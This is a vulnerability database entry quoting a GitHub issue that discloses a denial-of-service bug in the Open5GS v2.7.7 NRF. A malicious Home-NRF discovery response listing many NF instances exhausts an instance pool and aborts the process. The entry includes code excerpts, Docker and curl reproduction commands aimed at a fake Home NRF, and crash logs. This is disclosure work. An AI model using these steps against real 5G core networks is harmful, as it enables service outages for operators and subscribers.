| عنوان | Open5gs NRF v2.7.7 Denial of Service |
|---|
| الوصف | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NRF aborts when an inter-PLMN discovery request causes the local NRF to query a
Home-PLMN NRF and the Home-NRF `SearchResult` contains too many distinct
`nfInstances`.
This is a client-response trust-boundary bug, not a direct
`nnrf-nfm/nf-instances` registration bug. The local NRF enters the inter-PLMN
fallback path, sends a downstream discovery request to the Home NRF, and then
parses the returned `SearchResult` through:
```c
OpenAPI_list_for_each(SearchResult->nf_instances, node) {
...
nf_instance = ogs_sbi_nf_instance_find(NFProfile->nf_instance_id);
if (!nf_instance) {
nf_instance = ogs_sbi_nf_instance_add();
ogs_assert(nf_instance);
}
}
```
`ogs_sbi_nf_instance_add()` allocates from a fixed `nf_instance_pool` and
asserts when the pool is exhausted:
```c
ogs_pool_alloc(&nf_instance_pool, &nf_instance);
ogs_assert(nf_instance);
```
Pool sizing comes from the peer limit:
```c
ogs_app()->pool.nf = global_conf.max.peer;
```
With default settings this is `64`. In a fresh NRF process, the pool already
contains the local NRF instance, and the inter-PLMN fallback path also adds a
temporary Home-NRF entry before parsing the response. A malicious Home-NRF
response with enough unique `nfInstances` therefore crashes the local NRF.
### Root cause
- Entry route:
`GET /nnrf-disc/v1/nf-instances` with inter-PLMN parameters
- Downstream client path:
local NRF -> Home NRF `GET /nnrf-disc/v1/nf-instances`
- Response iteration site:
`../src/nrf/nnrf-handler.c:1419-1449`
- Exact crash site:
`../lib/sbi/context.c:1235-1236`
- Root cause family:
resource exhaustion leading to assertion abort
- Controlling field:
`SearchResult.nfInstances[*].nfInstanceId`
### Steps to Reproduce
1. Run a fake h2c Home NRF on the Docker `open5gs` network:
```bash
docker rm -f hnrfctl 2>/dev/null || true
docker run -d --name hnrfctl --network open5gs --network-alias hnrfctl \
-e NRF_FAKE_PORT=80 \
-v /home/ubuntu/open5gs_277/.audit_tmp:/srv \
node:22-alpine node /srv/nrf_fake_hnrf.js
```
2. Resolve the current local NRF IP:
```bash
NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf)
echo "$NRF_IP"
```
3. Control case: configure the helper to return one benign foreign NF and send
an inter-PLMN discovery request:
```bash
printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 8 --get \
"http://$NRF_IP/nnrf-disc/v1/nf-instances" \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
```
4. Malicious case: switch the helper to `many-instances`, restart the local
NRF to clear cached foreign NF entries, and send the same request again:
```bash
printf 'many-instances\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 --get \
"http://$NRF_IP/nnrf-disc/v1/nf-instances" \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf 2>&1 | tail -n 20
```
### Logs
```shell
Control response:
HTTP/2 200
{"validityPeriod":30,"nfInstances":[{"nfInstanceId":"fake-foreign-udr-safe",...}]}
Malicious client-visible failure:
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
Container state after the crash:
exited 139 2026-04-12T06:24:40.452605766Z 0
NRF logs:
04/12 06:24:40.364: [nrf] INFO: [fake-foreign-udr-many-062] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460)
04/12 06:24:40.364: [sbi] FATAL: ogs_sbi_nf_instance_add: Assertion `nf_instance' failed. (../lib/sbi/context.c:1236)
04/12 06:24:40.364: [core] FATAL: backtrace() returned 11 addresses (../lib/core/ogs-abort.c:37)
```
### Expected behaviour
The local NRF should reject or cap oversized Home-NRF `SearchResult` collections without abortin
### Observed Behaviour
A single malicious Home-NRF discovery response with many distinct NF profiles terminates the local NRF process with exit code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| المصدر | ⚠️ https://github.com/open5gs/open5gs/issues/4456 |
|---|
| المستخدم | LinJu (UID 97503) |
|---|
| ارسال | 20/04/2026 09:50 PM (1 شهر منذ) |
|---|
| الاعتدال | 11/05/2026 10:02 AM (21 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 362588 [Open5GS حتى 2.7.7 NRF lib/sbi/nnrf-handler.c ogs_nnrf_nfm_handle_nf_profile الحرمان من الخدمة] |
|---|
| النقاط | 20 |
|---|